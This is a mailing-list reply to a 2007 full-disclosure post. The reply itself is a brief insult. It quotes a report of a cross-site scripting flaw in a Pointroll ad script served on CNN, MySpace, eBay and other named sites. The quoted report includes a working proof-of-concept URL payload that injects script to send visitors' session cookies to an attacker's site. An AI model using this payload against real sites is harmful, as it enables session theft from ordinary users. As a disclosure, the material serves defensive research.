Re: XSS vulnerabilities on eBay, MySpace, CNN.com, etc

[<full-disclosure () mac hush com>]

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Dear pdp chell,

What you do in the bathroom is your own business and does not
belong on this mailing list.

- -JP<types but cannot think>

On Thu, 18 Oct 2007 18:25:24 -0400 jgffgjfgd rewrewrew
<ctjsme () gmail com> wrote:
> A cross-site scripting vulnerability has been discovered on
> multiple
> websites which use ads provided by Pointroll.
>
> The following list is a subset of the websites which contain the
> vulnerability:
> http://www.cnn.com/pointroll/PointRollAds.htm
> http://www.myspace.com/pointroll/PointRollAds.htm
> http://www.friendster.com/pointroll/PointRollAds.htm
> http://archive.gamespy.com/pointroll/PointRollAds.htm
> http://www.monster.com/pointroll/PointRollAds.htm
> http://www.allmusic.com/pointroll/PointRollAds.htm
> http://www.pcworld.com/pointroll/PointRollAds.htm
> http://www.10best.com/pointroll/PointRollAds.htm
> http://www.askmen.com/pointroll/PointRollAds.htm
> http://pages.ebay.com/pointroll/PointRollAds.html
>
> The above pages include a script at pointroll.com which is the
> root of the
> vulnerability. The vulnerability arises from the use of
> location.searchwithout sanitizing the query.
>
> The following is a proof of concept which works in Firefox. This
> should be
> placed onto the end of any of the above URLs, obviously. [URL]
> should be
> replaced by your website URL, such as http://www.foo.com/bar.php,
> and
> [LENGTH+1] should be the length of your website URL + 1.
>
> ?pub=[URL]?&redir=%27%3E%3Cscript%3Ewindow.location=
> location.search.substring(5,[LENGTH+1]).concat(document.cookie
> )%3C/script%3E&ad=g235e20051011164320
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